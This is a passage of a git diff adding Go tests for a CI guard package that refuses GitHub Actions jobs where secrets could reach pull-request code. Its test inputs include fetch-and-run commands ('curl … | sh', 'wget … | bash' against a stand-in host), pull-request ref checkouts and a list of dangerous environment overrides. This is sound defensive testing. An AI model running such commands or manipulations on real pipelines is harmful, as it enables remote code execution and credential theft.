"combined.tsv"), []byte("1\tdeps/one\n"), 0600)) + command := exec.Command("bash", filepath.Join(repoRoot(t), publishScript), in) + command.Dir = root + command.Env = append(os.Environ(), "GH_TOKEN=unused") + out, err := command.CombinedOutput() + require.Error(t, err) + require.Contains(t, string(out), "cannot diff the combined branch") + require.NotContains(t, string(out), "syntax error") +} diff --git a/internal/ciguard/credential_isolation_test.go b/internal/ciguard/credential_isolation_test.go index 6f178889..b8fc1995 100644 --- a/internal/ciguard/credential_isolation_test.go +++ b/internal/ciguard/credential_isolation_test.go @@ -5,6 +5,7 @@ import ( "path/filepath" "regexp" "sort" + "strconv" "strings" "testing" @@ -79,6 +80,21 @@ type isolatedStep struct { WorkingDirectory string `yaml:"working-directory"` } +// describe names a step in a failure. Most steps that matter here carry no +// `name:`, and "step \"\"" tells a reader nothing about which one to open. +func (s isolatedStep) describe() string { + switch { + case s.Name != "": + return "step " + strconv.Quote(s.Name) + case s.Uses != "": + return "step `uses: " + s.Uses + "`" + case s.Run != "": + first, _, _ := strings.Cut(strings.TrimSpace(s.Run), "\n") + return "step `run: " + first + "`" + } + return "an unnamed step" +} + // localAction is a repository-local action's manifest, as far as these guards // need it: what it runs, and the steps it runs when composite. type localAction struct { @@ -188,10 +204,12 @@ type isolatedWorkflow struct { // name is the workflow's file name, so a registry keyed by workflow can be // consulted without threading the path through every call. name string - // document is the whole workflow as parsed. The template digest is taken - // from this rather than re-read from disk, so a caller can hand over a - // changed workflow and see it refused -- which is what makes the - // comparison testable at all. + // document is the whole workflow as parsed. It is where the recorded + // digest's workflow-level half comes from -- `on`, `permissions`, `env`, + // `defaults` -- while the job half comes from `raw`. Taken from here + // rather than re-read from disk, so a caller can hand over a changed + // workflow and see it refused, which is what makes the comparison + // testable at all. document yaml.Node } @@ -290,60 +308,14 @@ func secretsIn(t *testing.T, wf isolatedWorkflow, id string) map[string][]string return found } -// triggersThatCannotCarryAPullRequestsCode is the list, and the direction of -// the list is the point. -// -// This used to read the other way -- `pull_request`, `pull_request_target`, -// `workflow_call`, `merge_group` were listed as the reachable ones, and -// anything else was treated as safe. That is the shape two review rounds found -// twice elsewhere: an enumeration exempts whatever it does not name. GitHub has -// some thirty-five trigger events and adds more; `issue_comment` and -// `pull_request_review` both carry a pull request's context, and a workflow -// reacting to either is a well-known way to reach unreviewed code. Naming the -// reachable ones means a trigger nobody here thought about is exempt by -// default, silently. -// -// Inverted, a trigger has to be ARGUED safe to be treated as safe. These are -// the ones that cannot carry a pull request's code at all: -// -// - `push`, `create`, `delete`, `release`: a ref event in this repository, -// which requires write access. -// - `schedule`: no triggering party. -// - `workflow_dispatch`: requires write access, and has a guard of its own -// (TestADispatchableCredentialJobChecksOutTheDefaultBranch) because the -// dispatched ref is chosen. -// - `workflow_run`: has its own two hostile scenarios, which are stricter -// than this question. -// -// Everything else -- named today or added by GitHub next year -- counts as -// reachable, and a credential-bearing job in such a workflow has to prove its -// condition false. -var triggersThatCannotCarryAPullRequestsCode = []string{ - "push", - "create", - "delete", - "release", - "schedule", - "workflow_dispatch", - "workflow_run", -} - -// reachableFromAPullRequest reports whether code an author of a pull request -// wrote can run in this workflow. -// -// `workflow_call` counts, and not only because it is in no list above: a -// reusable workflow runs the CALLER's tree at a ref the caller picks, and -// nothing here can see whether that caller dispatches it from a pull request -- -// so it has to be assumed, which is also what makes a secret in such a workflow -// the caller's secret to lose. -func reachableFromAPullRequest(on yaml.Node) bool { - for _, trigger := range triggers(on) { - if !contains(triggersThatCannotCarryAPullRequestsCode, trigger) { - return true - } - } - return false -} +// There was a `triggersThatCannotCarryAPullRequestsCode` list here, inverted +// from an earlier one so that a trigger had to be ARGUED safe rather than +// merely absent from an enumeration. Both directions are gone: the question is +// now asked per trigger by `scenariosForTrigger`, which BUILDS a hostile +// situation for every trigger including ones GitHub ships next year, so there +// is no list to be exempt from. The inverted list survived with zero callers +// for one release, which is the thing this package most has to avoid: a +// mechanism described in a comment and reached by nothing. // yamlOf returns a workflow file's raw text. func yamlOf(t *testing.T, path string) string { @@ -415,21 +387,10 @@ func mustNotRunUnder(t *testing.T, gate string, s scenario) (ok bool, reason str " (it turns on something no condition here fixes, which establishes nothing)" } -// The rule, stated once: a job that can run code under review references no -// secret, and a job that references a secret runs on a merged ref and checks -// out nothing of the pull request. -// -// A step-level `if:` does not satisfy this. It decides whether that STEP runs, -// not what the job is; the credential is still named in a job whose other -// steps execute the author's code, and a reader has to reason about step order -// to see whether it is safe. The split into two jobs is what makes it legible -// reachabilityNote renders the reachability half of a failure, so a message -// cannot read as "unreachable, therefore fine". -func reachabilityNote(unreachable bool, why string) string { - if unreachable { - return "it is unreachable from every hostile situation, which does not " + - "establish what it runs when triggered legitimately" - } +// reachabilityNote renders the reachability half of a refusal. It is only +// reached when the condition was NOT provably false, so it says so rather than +// leaving a reader to infer which half failed. +func reachabilityNote(why string) string { return "it is not provably unreachable: " + why } @@ -447,14 +408,29 @@ func provablyUnreachable(t *testing.T, gate string, hostile []scenario) (bool, s return true, "" } +// The rule, stated once: a job that can run code under review references no +// secret, and a job that references a secret is either unreachable from every +// hostile situation its triggers admit or establishes which tree it executes. +// +// A step-level `if:` does not satisfy this. It decides whether that STEP runs, +// not what the job is; the credential is still named in a job whose other +// steps execute the author's code, and a reader has to reason about step order +// to see whether it is safe. The split into two jobs is what makes it legible // as well as true. +// +// `credentialJobIsAccepted` asks all three conjuncts -- registered, judged, +// recorded -- and the judgement is evaluated over the scenarios computed just +// below. An earlier version of this guard computed those scenarios, asserted +// the set was non-empty, discarded it, and handed the whole verdict to a file +// digest; re-recording that digest then admitted a `contents: write` job +// running a pull request's own tree. func TestNoSecretIsReachableFromAJobThatRunsCodeUnderReview(t *testing.T) { paths, workflows := loadIsolatedWorkflows(t) checked := 0 for _, path := range paths { wf := workflows[path] - hostile, _ := hostileScenariosFor(wf.On) + hostile := hostileScenariosFor(wf.On) require.NotEmpty(t, hostile, "%s yielded no hostile scenario at all. Every trigger yields one now, so "+ "an empty set means the workflow declares no trigger this package can "+ @@ -760,23 +736,3 @@ jobs: "inside a script is exempt from the guards above -- and this is the "+ "exact string the pull-request-ref guard looks for") } - -// reachableOnATagPush reports whether a job could run for a pushed tag -- -// either in a workflow this repository triggers on a push, or in a reusable one -// a caller may invoke from its own tag push. -func reachableOnATagPush(t *testing.T, wf isolatedWorkflow, job isolatedJob) bool { - t.Helper() - - onATagEvent := false - for _, trigger := range triggers(wf.On) { - if trigger == "push" || trigger == "workflow_call" { - onATagEvent = true - } - } - if !onATagEvent { - return false - } - reached, err := canRunUnder(job.If, pushOfATag) - require.NoError(t, err) - return reached != triFalse -} diff --git a/internal/ciguard/dispatch_publisher_test.go b/internal/ciguard/dispatch_publisher_test.go new file mode 100644 index 00000000..b1f84042 --- /dev/null +++ b/internal/ciguard/dispatch_publisher_test.go @@ -0,0 +1,150 @@ +package ciguard + +import ( + "maps" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/stretchr/testify/require" +) + +// This is #759's real publish-service-image.yml at a9bd6d61, including review +// 5479801628's credential-persistence fix. The fixture lets the evaluator's +// contract land independently of that workflow. +// Its distinct logical name keeps its test-scoped registration separate from +// the live registry, including after the workflow lands. +func dispatchPublisherFixture(t *testing.T) string { + t.Helper() + raw, err := os.ReadFile(filepath.Join(repoRoot(t), "internal", "ciguard", "testdata", "dispatch-publisher.yml")) + require.NoError(t, err) + return string(raw) +} + +func registerDispatchPublisherFixture(t *testing.T, wf isolatedWorkflow) { + t.Helper() + previousJobs, previousRecords := permittedCredentialJobs, recordedJobDigests + t.Cleanup(func() { + permittedCredentialJobs, recordedJobDigests = previousJobs, previousRecords + }) + permittedCredentialJobs = append(append([]jobTemplate{}, previousJobs...), jobTemplate{ + workflow: wf.name, job: "publish", + executedBy: "TestDispatchPublisherFixtureRefusesUnmergedCommits", + why: "test fixture for a reusable dispatch publisher's ancestry refusal", + }) + recordedJobDigests = maps.Clone(previousRecords) + recordedJobDigests[recordKey(wf.name, "publish")] = canonicalJobDigest(t, wf, "publish") +} + +func TestDispatchPublisherNeedsAllThreeConjuncts(t *testing.T) { + wf := parseIsolatedDocument(t, dispatchPublisherFixture(t), "dispatch-publisher-fixture.yml") + require.Contains(t, secretsIn(t, wf, "publish"), "registry-token") + unreachable, why := provablyUnreachable(t, wf.Jobs["publish"].If, hostileScenariosFor(wf.On)) + require.False(t, unreachable, "a workflow_call dispatch gate still answers for unknown callers: %s", why) + origin, _ := checkoutSelectsTheDefaultBranch(wf.Jobs["publish"].Steps[0], absentRefIsTheDefaultBranch(wf)) + require.Equal(t, treeIsTheTriggeringCommit, origin) + require.Equal(t, false, wf.Jobs["publish"].Steps[0].With["persist-credentials"]) + require.Equal(t, map[string]string{"GH_TOKEN": "${{ github.token }}"}, wf.Jobs["publish"].Steps[1].Env) + + t.Run("unregistered", func(t *testing.T) { + accepted, why := credentialJobIsAccepted(t, wf, "publish") + require.False(t, accepted) + require.Contains(t, why, "not one of the job shapes") + }) + t.Run("registered judged and recorded", func(t *testing.T) { + registerDispatchPublisherFixture(t, wf) + established, why := acceptedExecution(t, wf, "publish") + require.True(t, established, why) + accepted, why := credentialJobIsAccepted(t, wf, "publish") + require.True(t, accepted, why) + }) + t.Run("unrecorded", func(t *testing.T) { + registerDispatchPublisherFixture(t, wf) + delete(recordedJobDigests, recordKey(wf.name, "publish")) + accepted, why := credentialJobIsAccepted(t, wf, "publish") + require.False(t, accepted) + require.Contains(t, why, "no shape is recorded") + }) + t.Run("no executing test", func(t *testing.T) { + registerDispatchPublisherFixture(t, wf) + permittedCredentialJobs[len(permittedCredentialJobs)-1].executedBy = "" + accepted, why := credentialJobIsAccepted(t, wf, "publish") + require.False(t, accepted) + require.Contains(t, why, "Name the test that executes it") + }) +} + +// Every mutation is re-recorded before asking the whole credential decision, +// so the record cannot accidentally be the thing that catches a broken proof. +func TestDispatchPublisherMutationsStayRefusedAfterReRecording(t *testing.T) { + source := dispatchPublisherFixture(t) + baseline := parseIsolatedDocument(t, source, "dispatch-publisher-fixture.yml") + const refusal = " - name: require the commit to be on the default branch, or refuse\n" + const validation = " - name: Validate the inputs\n" + for _, tc := range []struct{ name, from, to, reason string }{ + {"party-chosen checkout beside a real refusal", " fetch-depth: 0\n", + " fetch-depth: 0\n ref: ${{ github.head_ref }}\n", "tree holds a different ref"}, + {"refusal speaks for a different commit", `--is-ancestor "$GITHUB_SHA"`, + `--is-ancestor "$OTHER_SHA"`, "refusal ahead of everything"}, + {"ambiguous remote revision", `--is-ancestor "$GITHUB_SHA" "refs/remotes/origin/`, + `--is-ancestor "$GITHUB_SHA" "origin/`, "refusal ahead of everything"}, + {"only the refusal's name remains", `if ! git merge-base --is-ancestor "$GITHUB_SHA" "refs/remotes/origin/${authority}"; then`, + `if false; then`, "refusal ahead of everything"}, + {"conditional refusal", refusal, refusal + " if: success()\n", "so it can be skipped"}, + {"non-fatal refusal", refusal, refusal + " continue-on-error: true\n", "exit status stops nothing"}, + {"refusal never exits nonzero", " exit 1\n", " exit 0\n", "never exits non-zero"}, + {"step shell swallows refusal", refusal, refusal + " shell: 'true {0}'\n", "which this package cannot judge"}, + {"job shell swallows refusal", " runs-on: ubuntu-latest\n", + " runs-on: ubuntu-latest\n defaults:\n run:\n shell: 'true {0}'\n", "which this package cannot judge"}, + {"workflow shell swallows refusal", "jobs:\n", + "defaults:\n run:\n shell: 'true {0}'\njobs:\n", "which this package cannot judge"}, + {"execution before refusal", refusal, " - run: ./build.sh\n" + refusal, "refusal ahead of everything"}, + {"action before refusal", refusal, " - uses: docker/setup-buildx-action@v4\n" + refusal, "refusal ahead of everything"}, + {"second checkout after refusal", validation, + " - uses: actions/checkout@v7\n with:\n ref: ${{ github.head_ref }}\n" + validation, + "tree holds a different ref"}, + {"tree repointed after refusal", validation, + " - run: git checkout FETCH_HEAD\n" + validation, "without showing it is reachable"}, + } { + t.Run(tc.name, func(t *testing.T) { + require.Contains(t, source, tc.from) + mutated := strings.ReplaceAll(source, tc.from, tc.to) + wf := parseIsolatedDocument(t, mutated, "dispatch-publisher-fixture.yml") + registerDispatchPublisherFixture(t, baseline) + key, digest := recordKey(wf.name, "publish"), canonicalJobDigest(t, wf, "publish") + require.NotEqual(t, recordedJobDigests[key], digest) + recordedJobDigests[key] = digest + established, why := acceptedExecution(t, wf, "publish") + require.False(t, established) + require.Contains(t, why, tc.reason) + accepted, why := credentialJobIsAccepted(t, wf, "publish") + require.False(t, accepted) + require.Contains(t, why, tc.reason) + require.NotContains(t, why, "changed shape", "the judgement must decide after re-recording") + }) + } +} + +// Execute the fixture's actual refusal against real repositories. Its +// registration above names this test, not just a plausible-looking function. +func TestDispatchPublisherFixtureRefusesUnmergedCommits(t *testing.T) { + t.Setenv("GH_TOKEN", "fixture-read-token") + script := executionTestStep(t).Run + fixture := newReleaseFixture(t) + for _, tc := range []struct { + name, sha string + admit bool + }{ + {"default branch tip", fixture.tip, true}, + {"older merged commit", fixture.older, true}, + {"unmerged commit", fixture.unmerged, false}, + } { + t.Run(tc.name, func(t *testing.T) { + admitted, output := fixture.run(t, script, theDefaultBranch, tc.sha) + require.Equal(t, tc.admit, admitted, output) + }) + } + admitted, output := fixture.run(t, strings.ReplaceAll(script, "exit 1", "exit 0"), theDefaultBranch, fixture.unmerged) + require.True(t, admitted, "neutralising the refusal must admit the unmerged commit: %s", output) +} diff --git a/internal/ciguard/execution_proof_test.go b/internal/ciguard/execution_proof_test.go new file mode 100644 index 00000000..2ccd249c --- /dev/null +++ b/internal/ciguard/execution_proof_test.go @@ -0,0 +1,58 @@ +package ciguard + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/stretchr/testify/require" +) + +// Both the judgement and the executing test use this binding. A test's name +// alone is no evidence: it must lift THIS workflow, job and step. The lifting +// helper selects its binding from the running test's name, not a caller-supplied +// label, so borrowing a different test cannot certify a new refusal. +type executionProof struct{ workflow, job, step string } + +func executionProofFor(test string) (executionProof, bool) { + switch test { + case "TestTagSelectionAcceptsOnlyCommitsOnTheDefaultBranch": + return executionProof{versionTagWorkflow, "tag", selectionStepName}, true + case "TestAReleaseIsAdmittedOnlyFromTheRepositorysOwnDefaultBranch", "TestNeutralisingTheReleaseRefusalIsVisible": + return executionProof{"go-service-release.yml", "goreleaser", releaseRefusalStep}, true + case "TestAServiceImageIsPublishedOnlyFromTheRepositorysOwnDefaultBranch": + return executionProof{publishWorkflow, publishJob, publishRefusalStep}, true + case "TestDispatchPublisherFixtureRefusesUnmergedCommits": + return executionProof{"dispatch-publisher-fixture.yml", "publish", publishRefusalStep}, true + } + return executionProof{}, false +} + +func executingTestCovers(template jobTemplate, step isolatedStep) bool { + proof, ok := executionProofFor(template.executedBy) + return ok && proof.workflow == template.workflow && proof.job == template.job && proof.step == step.Name && step.Run != "" +} + +func executionTestStep(t *testing.T) isolatedStep { + t.Helper() + test, _, _ := strings.Cut(t.Name(), "/") + proof, ok := executionProofFor(test) + require.True(t, ok, "%s has no workflow/job/step execution binding", test) + path := filepath.Join(repoRoot(t), ".github/workflows", proof.workflow) + if proof.workflow == "dispatch-publisher-fixture.yml" { + path = filepath.Join(repoRoot(t), "internal/ciguard/testdata/dispatch-publisher.yml") + } + raw, err := os.ReadFile(path) + require.NoError(t, err) + wf := parseIsolatedDocument(t, string(raw), proof.workflow) + var found []isolatedStep + for _, step := range wf.Jobs[proof.job].Steps { + if step.Name == proof.step { + found = append(found, step) + } + } + require.Len(t, found, 1, "%s must lift its exact job's one refusal", test) + require.NotEmpty(t, found[0].Run) + return found[0] +} diff --git a/internal/ciguard/execution_review_test.go b/internal/ciguard/execution_review_test.go new file mode 100644 index 00000000..cf0cf33f --- /dev/null +++ b/internal/ciguard/execution_review_test.go @@ -0,0 +1,144 @@ +package ciguard + +import ( + "maps" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +// Re-record every attack before asking the complete decision, as well as its +// execution limb. None may rely on the record for its refusal. +func TestUnattributedExecutionIsRefusedAfterReRecording(t *testing.T) { + raw, err := os.ReadFile(filepath.Join(repoRoot(t), "internal/ciguard/testdata/unattributed-execution.yml")) + require.NoError(t, err) + var cases []struct { + Name, Run string + Steps []map[string]any + } + require.NoError(t, yaml.Unmarshal(raw, &cases)) + require.Len(t, cases, 11) + for _, tc := range cases { + t.Run(tc.Name, func(t *testing.T) { + steps := tc.Steps + if tc.Run != "" { + steps = []map[string]any{ + {"uses": "actions/checkout@v7", "with": map[string]any{"ref": "main"}}, + {"run": tc.Run}, {"run": "bash ./render.sh"}, + } + } + document, err := yaml.Marshal(map[string]any{"on": "pull_request", "jobs": map[string]any{"coverage-badge": map[string]any{ + "runs-on": "ubuntu-latest", "permissions": map[string]string{"contents": "write"}, "steps": steps, + }}}) + require.NoError(t, err) + wf := parseIsolatedDocument(t, string(document), "go.yml") + assertRefusedAfterRecording(t, wf, "coverage-badge") + }) + } +} + +func assertRefusedAfterRecording(t *testing.T, wf isolatedWorkflow, id string) { + t.Helper() + old := recordedJobDigests + recordedJobDigests = maps.Clone(old) + t.Cleanup(func() { recordedJobDigests = old }) + recordedJobDigests[recordKey(wf.name, id)] = canonicalJobDigest(t, wf, id) + unreachable, why := provablyUnreachable(t, wf.Jobs[id].If, hostileScenariosFor(wf.On)) + require.False(t, unreachable, why) + established, why := acceptedExecution(t, wf, id) + require.False(t, established, why) + accepted, why := credentialJobIsAccepted(t, wf, id) + require.False(t, accepted, why) + require.NotContains(t, why, "changed shape") +} + +func TestRefusalReadsEnvironmentAndCommandOrder(t *testing.T) { + raw, err := os.ReadFile(filepath.Join(repoRoot(t), ".github/workflows/go-service-release.yml")) + require.NoError(t, err) + const step = " - name: require the tag to be on the default branch, or refuse\n" + source := string(raw) + for _, tc := range []struct{ name, from, to string }{ + {"step BASH_ENV", step, step + " env: {BASH_ENV: ./.ci/env.sh}\n"}, + {"job BASH_ENV", " goreleaser:\n", " goreleaser:\n env: {BASH_ENV: ./.ci/env.sh}\n"}, + {"workflow BASH_ENV", "jobs:\n", "env: {BASH_ENV: ./.ci/env.sh}\njobs:\n"}, + {"script before proof", " set -euo pipefail\n", " set -euo pipefail\n bash ./scripts/prepare-release.sh\n"}, + {"script in assignment before proof", " set -euo pipefail\n", " set -euo pipefail\n prepared=$(bash ./scripts/prepare-release.sh)\n"}, + } { + t.Run(tc.name, func(t *testing.T) { + require.Contains(t, source, tc.from) + wf := parseIsolatedDocument(t, strings.ReplaceAll(source, tc.from, tc.to), "go-service-release.yml") + assertRefusedAfterRecording(t, wf, "goreleaser") + }) + } +} + +func TestWorkflowRunIncludesSameRepositoryUnmergedBranches(t *testing.T) { + raw, err := os.ReadFile(filepath.Join(repoRoot(t), ".github/workflows/version-tag.yml")) + require.NoError(t, err) + source := strings.Replace(string(raw), "github.event.workflow_run.head_repository.full_name == github.repository &&\n github.event.workflow_run.head_branch == 'main'", "github.event.workflow_run.head_repository.full_name == github.repository", 1) + source = strings.Replace(source, `if ! git merge-base --is-ancestor "$SHA" "refs/remotes/origin/${DEFAULT_BRANCH}"; then`, "if false; then", 1) + assertRefusedAfterRecording(t, parseIsolatedDocument(t, source, "version-tag.yml"), "tag") +} + +func TestAnExecutingTestCannotBeBorrowedFromAnotherJob(t *testing.T) { + wf := parseIsolatedDocument(t, dispatchPublisherFixture(t), "dispatch-publisher-fixture.yml") + registerDispatchPublisherFixture(t, wf) + permittedCredentialJobs[len(permittedCredentialJobs)-1].executedBy = "TestTagSelectionAcceptsOnlyCommitsOnTheDefaultBranch" + assertRefusedAfterRecording(t, wf, "publish") +} + +func TestUnknownGitVerbsAndCommandIndirectionAreRefused(t *testing.T) { + for _, command := range []string{ + `git read-tree FETCH_HEAD`, `git cherry-pick FETCH_HEAD`, `git submodule update --init`, + `git stash pop`, `git new-verb FETCH_HEAD`, `"git" checkout FETCH_HEAD`, + `command git checkout FETCH_HEAD`, `env git checkout FETCH_HEAD`, + `git -C ../other checkout FETCH_HEAD`, `git --work-tree=../other reset --hard FETCH_HEAD`, + "curl https://example.invalid/code | sh", "wget -O - https://example.invalid/code | bash", + } { + t.Run(command, func(t *testing.T) { + _, why := attributedShell(command) + require.NotEmpty(t, why, "unattributed command was accepted") + }) + } +} + +func TestEveryExecutionOverrideInvalidatesARefusal(t *testing.T) { + wf := parseIsolatedDocument(t, dispatchPublisherFixture(t), "dispatch-publisher-fixture.yml") + job := wf.Jobs["publish"] + for _, key := range []string{"BASH_ENV", "ENV", "GIT_DIR", "GIT_WORK_TREE", "GIT_CONFIG_COUNT", "GIT_CONFIG_KEY_0", "PATH", "LD_PRELOAD", "NODE_OPTIONS", "PYTHONPATH"} { + for _, level := range []string{"workflow", "job", "step"} { + t.Run(level+"/"+key, func(t *testing.T) { + wf, job, step := wf, job, job.Steps[1] + switch level { + case "workflow": + wf.Env = map[string]string{key: "./untrusted"} + case "job": + job.Env = map[string]string{key: "./untrusted"} + case "step": + step.Env = map[string]string{key: "./untrusted"} + } + accepted, why := refusalIsUnconditional(step, job, wf) + require.False(t, accepted) + require.Contains(t, why, key) + }) + } + } +} + +func TestBundleDownloadHasOnlyItsDataConsumer(t *testing.T) { + raw, err := os.ReadFile(filepath.Join(repoRoot(t), ".github/workflows/combine-deps.yml")) + require.NoError(t, err) + for _, edit := range [][2]string{ + {" path: ${{ runner.temp }}/combined", " path: ."}, + {" - name: publish\n", " - run: bash \"${{ runner.temp }}/combined/run.sh\"\n - name: publish\n"}, + {`run: bash .github/scripts/combine-deps-publish.sh "${{ runner.temp }}/combined"`, `run: bash "${{ runner.temp }}/combined/run.sh"`}, + } { + source := strings.ReplaceAll(string(raw), edit[0], edit[1]) + require.NotEqual(t, string(raw), source) + assertRefusedAfterRecording(t, parseIsolatedDocument(t, source, "combine-deps.yml"), "publish") + } +} diff --git a/internal/ciguard/execution_shell_test.go b/internal/ciguard/execution_shell_test.go new file mode 100644 index 00000000..74fea9ef --- /dev/null +++ b/internal/ciguard/execution_shell_test.go @@ -0,0 +1,345 @@ +package ciguard + +import ( + "fmt" + "strings" + + "mvdan.cc/sh/v3/syntax" +) + +// Parse shell rather than scanning lines: options, quotes, substitutions and +// continuations must not hide a Git invocation. Unparseable shell is refused. +func executionShell(text string) (*syntax.File, error) { + // Expressions are values resolved by Actions, not Bash syntax. The separate + // interpolation guard judges their provenance; retain an opaque shell word. + for { + start := strings.Index(text, "${{") + if start < 0 { + break + } + end := strings.Index(text[start:], "}}") + if end < 0 { + return nil, fmt.Errorf("unterminated Actions expression") + } + text = text[:start] + "ACTIONS_VALUE" + text[start+end+2:] + } + return syntax.NewParser().Parse(strings.NewReader(text), "step") +} + +func shellText(node syntax.Node) string { + var out strings.Builder + _ = syntax.NewPrinter().Print(&out, node) + return out.String() +} + +func shellArgument(word *syntax.Word) string { + text := shellText(word) + if len(text) > 1 && ((text[0] == '"' && text[len(text)-1] == '"') || (text[0] == '\'' && text[len(text)-1] == '\'')) { + return text[1 : len(text)-1] + } + return text +} + +// Only these global options have attributed effects. Unknown options and +// dynamic subcommands fail closed, including aliases and command wrappers. +func gitArguments(call *syntax.CallExpr) ([]*syntax.Word, string) { + args := call.Args[1:] + for len(args) > 0 && strings.HasPrefix(args[0].Lit(), "-") { + option := args[0].Lit() + if len(args) < 2 { + return nil, "incomplete git option " + option + } + value := shellArgument(args[1]) + switch option { + case "-C": + if value != "." { + return nil, "git -C selects an unattributed working tree" + } + case "-c": + if value != "advice.detachedHead=false" && !strings.HasPrefix(value, "http.https://github.com/.extraheader=") { + return nil, "unattributed git configuration " + value + } + default: + return nil, "unattributed git option " + option + } + args = args[2:] + } + if len(args) == 0 || args[0].Lit() == "" { + return nil, "unattributed git verb" + } + return args, "" +} + +// An ancestry proof is an unconditional top-level `if ! git merge-base ...` +// whose failure arm terminates with exit 1. A matching string inside a comment, +// function, skipped branch, or after a tree change is not a proof. +func ancestryGuard(stmt *syntax.Stmt) string { + branch, ok := stmt.Cmd.(*syntax.IfClause) + if !ok || stmt.Background || stmt.Negated || len(stmt.Redirs) > 0 || branch.Else != nil || len(branch.Cond) != 1 { + return "" + } + cond := branch.Cond[0] + call, ok := cond.Cmd.(*syntax.CallExpr) + if !ok || !cond.Negated || cond.Background || len(call.Assigns) > 0 || len(call.Args) != 5 { + return "" + } + unsafeExpansion := false + syntax.Walk(cond, func(n syntax.Node) bool { + switch n.(type) { + case *syntax.CmdSubst, *syntax.ProcSubst: + unsafeExpansion = true + } + return true + }) + if unsafeExpansion || len(cond.Redirs) > 0 { + return "" + } + if call.Args[0].Lit() != "git" || call.Args[1].Lit() != "merge-base" || call.Args[2].Lit() != "--is-ancestor" || !strings.HasPrefix(shellArgument(call.Args[4]), "refs/remotes/origin/") { + return "" + } + if len(branch.Then) == 0 { + return "" + } + for i, body := range branch.Then { + c, ok := body.Cmd.(*syntax.CallExpr) + if !ok || body.Background || body.Negated || len(c.Assigns) > 0 || len(c.Args) == 0 { + return "" + } + if i == len(branch.Then)-1 { + if len(c.Args) != 2 || c.Args[0].Lit() != "exit" || c.Args[1].Lit() != "1" { + return "" + } + } else if c.Args[0].Lit() != "echo" { + return "" + } + safe := true + syntax.Walk(c, func(n syntax.Node) bool { + if _, ok := n.(*syntax.CmdSubst); ok { + safe = false + } + return true + }) + if !safe { + return "" + } + } + return shellArgument(call.Args[3]) +} + +// The one remote-auth wrapper has a bounded implementation and bounded callers. +// Its command-scoped credential cannot change Git's tree selection. A changed +// function must be attributed again, not admitted by its name. +func isRemoteAuthWrapper(fn *syntax.FuncDecl) bool { + if fn.Name.Value != "git_remote" { + return false + } + expected, err := executionShell(`git_remote() { + local authorization + authorization=$(printf 'x-access-token:%s' "$GH_TOKEN" | base64 | tr -d '\n') + git -c "http.https://github.com/.extraheader=AUTHORIZATION: basic ${authorization}" "$@" + }`) + return err == nil && shellText(fn) == shellText(expected.Stmts[0].Cmd) +} + +func dangerousExecutionEnv(name string) bool { + switch name { + case "BASH_ENV", "ENV", "GIT_DIR", "GIT_WORK_TREE", "PATH", "LD_PRELOAD", "LD_LIBRARY_PATH", "DYLD_INSERT_LIBRARIES", "NODE_OPTIONS", "PYTHONPATH": + return true + } + return strings.HasPrefix(name, "GIT_CONFIG_") +} + +// Before an ancestry proof, only metadata reads, their formatting, and refusal +// diagnostics are allowed. Inspect substitutions too: an assignment is not a +// licence to run a script. This is deliberately a small accepted language. +func safeRefusalPrelude(stmt *syntax.Stmt, remoteAuth bool) string { + why := "" + syntax.Walk(stmt, func(node syntax.Node) bool { + if why != "" { + return false + } + switch n := node.(type) { + case *syntax.Stmt: + if n.Background { + why = "background execution before the ancestry refusal" + } + for _, r := range n.Redirs { + if r.Op != syntax.DplOut && !(r.Op == syntax.RdrOut && shellArgument(r.Word) == "/dev/null") { + why = "a file redirection before the ancestry refusal" + } + } + case *syntax.FuncDecl: + if !isRemoteAuthWrapper(n) { + why = "an unattributed function before the ancestry refusal" + } + return false + case *syntax.Assign: + if n.Name != nil && (dangerousExecutionEnv(n.Name.Value) || n.Name.Value == "GITHUB_SHA") { + why = "assignment to " + n.Name.Value + " before the ancestry refusal" + } + case *syntax.CallExpr: + if len(n.Args) == 0 { + return true + } + name := shellArgument(n.Args[0]) + switch name { + case "set": + if shellText(n) != "set -euo pipefail" { + why = "unattributed shell options before the ancestry refusal" + } + case "git", "git_remote": + args, problem := gitArguments(n) + if problem != "" { + why = problem + break + } + if name == "git_remote" && !remoteAuth { + why = "unattributed git_remote" + break + } + switch args[0].Lit() { + case "fetch", "ls-remote", "cat-file": + default: + why = "git " + args[0].Lit() + " before the ancestry refusal" + } + case "awk": + if len(n.Args) != 2 || shellArgument(n.Args[1]) != `$1 == "ref:" && $3 == "HEAD" { sub("refs/heads/", "", $2); print $2 }` { + why = "unattributed awk before the ancestry refusal" + } + case "[", "echo", "exit": + default: + why = "unattributed command " + shellText(n.Args[0]) + " before the ancestry refusal" + } + } + return true + }) + return why +} + +func triggeringCommitRefusalIsFirst(text string) string { + file, err := executionShell(text) + if err != nil { + return "has shell this package cannot parse: " + err.Error() + } + remoteAuth := false + for _, stmt := range file.Stmts { + if rev := ancestryGuard(stmt); rev == "$GITHUB_SHA" || rev == "${GITHUB_SHA}" { + return "" + } + if why := safeRefusalPrelude(stmt, remoteAuth); why != "" { + return why + } + if fn, ok := stmt.Cmd.(*syntax.FuncDecl); ok && isRemoteAuthWrapper(fn) { + remoteAuth = true + } + } + return "needs a fatal ancestry refusal ahead of everything that runs" +} + +// Every Git verb must be attributed. The default is refusal, so adding another +// tree-writing verb does not require finding and extending a blacklist. +func attributedShell(text string) (leaned bool, why string) { + file, err := executionShell(text) + if err != nil { + return false, "shell this package cannot parse: " + err.Error() + } + proven := map[string]bool{} + remoteAuth := false + for _, stmt := range file.Stmts { + if fn, ok := stmt.Cmd.(*syntax.FuncDecl); ok && isRemoteAuthWrapper(fn) { + remoteAuth = true + continue + } + syntax.Walk(stmt, func(node syntax.Node) bool { + if why != "" { + return false + } + if fn, ok := node.(*syntax.FuncDecl); ok { + why = "unattributed shell function " + fn.Name.Value + return false + } + call, ok := node.(*syntax.CallExpr) + if !ok || len(call.Args) == 0 { + return true + } + name := shellArgument(call.Args[0]) + if name == "" || strings.ContainsAny(name, "$`") || strings.HasSuffix(name, "/git") || name == "command" || name == "env" || name == "exec" || name == "eval" || name == "source" || name == "." { + why = "unattributed command indirection: " + name + return false + } + if name == "git_remote" && !remoteAuth { + why = "unattributed git_remote wrapper" + return false + } + if name == "tar" { + why = "writes content into the tree without naming a commit (tar)" + return false + } + // Downloading and executing a program supplies no reviewed source tree. + if name == "curl" || name == "wget" { + why = "unattributed remote content from " + name + return false + } + if name != "git" && name != 